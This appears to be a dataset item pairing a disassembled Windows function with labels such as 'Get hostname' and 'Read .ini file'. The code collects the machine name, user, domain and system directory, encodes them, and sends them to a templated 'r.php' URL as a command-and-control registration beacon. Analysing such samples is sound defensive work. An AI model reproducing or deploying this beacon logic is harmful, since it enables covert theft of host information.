Function at 0x403f21
Capabilities:
Get common file path
Get hostname
Get session user name
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440336
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x238
push edi
mov eax, dword [0x4502c0]
mov dword [ebp - 0x19c], eax
xor ecx, ecx
mov dword [ebp - 0x198], ecx
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x190], ecx
mov dword [ebp - 0x18c], ecx
mov dl, byte [0x45475c]
mov byte [ebp - 0x238], dl
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x237]
rep stosd dword es:[edi], eax
mov al, byte [0x454760]
mov byte [ebp - 0x54], al
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x53]
rep stosd dword es:[edi], eax
mov cl, byte [0x454764]
mov byte [ebp - 0x1e0], cl
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x1df]
rep stosd dword es:[edi], eax
mov dl, byte [0x454768]
mov byte [ebp - 0x188], dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x187]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x1f4], 0
xor eax, eax
mov word [ebp - 0x1f3], ax
mov byte [ebp - 0x1f1], al
mov byte [ebp - 0x10], 0
xor ecx, ecx
mov word [ebp - 0xf], cx
mov byte [ebp - 0xd], cl
mov dword [ebp - 0x1f0], 0x41
lea edx, [ebp - 0x1f0]
push edx
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x41
lea ecx, [ebp - 0x1e0]
push ecx
push str.USERDOMAIN
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.C:config.ini
push 0x41
lea edx, [ebp - 0x54]
push edx
push 0x45476c
push str.alias
push str.computer
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
movsx eax, byte [ebp - 0x54]
test eax, eax
jne 0x404065
mov dword [ebp - 0x1f0], 0x41
lea ecx, [ebp - 0x1f0]
push ecx
lea edx, [ebp - 0x54]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x104
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
lea ecx, [ebp - 0x1ec]
call fcn.00413440
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x188]
push edx
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x54]
push ecx
lea edx, [ebp - 0x238]
push edx
lea eax, [ebp - 0x19c]
push eax
push str._ver_scomputername_susername_suserdomain_ssystemroot_sstatus_s
lea ecx, [ebp - 0x1ec]
push ecx
call fcn.004136d0
add esp, 0x20
push 0
lea ecx, [ebp - 0x78]
call fcn.00413440
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1ec]
call fcn.004136c0
push eax
call fcn.00423170
add esp, 4
shl eax, 1
push eax
lea ecx, [ebp - 0x78]
call fcn.004135a0
lea ecx, [ebp - 0x78]
call fcn.004136b0
push eax
lea ecx, [ebp - 0x78]
call fcn.004136c0
push eax
lea ecx, [ebp - 0x1ec]
call fcn.004136c0
push eax
call fcn.00423170
add esp, 4
push eax
lea ecx, [ebp - 0x1ec]
call fcn.004136c0
push eax
call fcn.00419830
add esp, 0x10
push 0x60
push 0x2b
lea ecx, [ebp - 0x78]
call fcn.004136c0
push eax
call fcn.004146f0
add esp, 0xc
push 0x7e
push 0x2f
lea ecx, [ebp - 0x78]
call fcn.004136c0
push eax
call fcn.004146f0
add esp, 0xc
push 0x2e
push 0x3d
lea ecx, [ebp - 0x78]
call fcn.004136c0
push eax
call fcn.004146f0
add esp, 0xc
push 0x100000
lea ecx, [ebp - 0x84]
call fcn.00413440
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x78]
call fcn.004136c0
push eax
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push str.http:___s_r.php_lan_LAN.wait_denc_s
lea ecx, [ebp - 0x84]
call fcn.004136c0
push eax
call fcn.00423bd4
add esp, 0x14
push 0
lea ecx, [ebp - 0x60]
call fcn.00413440
mov byte [ebp - 4], 3
push 0
lea ecx, [ebp - 0x6c]
call fcn.00413440
mov byte [ebp - 4], 4
push str.Register
push 0x403e40
mov ecx, dword [ebp + 0xc]
shl ecx, 1
push ecx
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x84]
call fcn.004136c0
push eax
call fcn.0040db00
add esp, 0x18
test eax, eax
jne 0x40424e
mov dword [ebp - 0x23c], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.00413510
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x60]
call fcn.00413510
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.00413510
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x78]
call fcn.00413510
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ec]
call fcn.00413510
mov eax, dword [ebp - 0x23c]
jmp 0x40432f
push 0x104
mov ecx, dword [ebp + 0x14]
push ecx
push 0x450378
push str.OKay__key
lea ecx, [ebp - 0x6c]
call fcn.004136c0
push eax
call fcn.00414720
add esp, 0x14
test eax, eax
jne 0x4042da
push str.ERROR_Unrecognized_reponse_data.
call fcn.004130c0
add esp, 4
mov dword [ebp - 0x240], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.00413510
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x60]
call fcn.00413510
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.00413510
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x78]
call fcn.00413510
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ec]
call fcn.00413510
mov eax, dword [ebp - 0x240]
jmp 0x40432f
mov dword [ebp - 0x244], 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.00413510
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x60]
call fcn.00413510
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.00413510
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x78]
call fcn.00413510
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ec]
call fcn.00413510
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret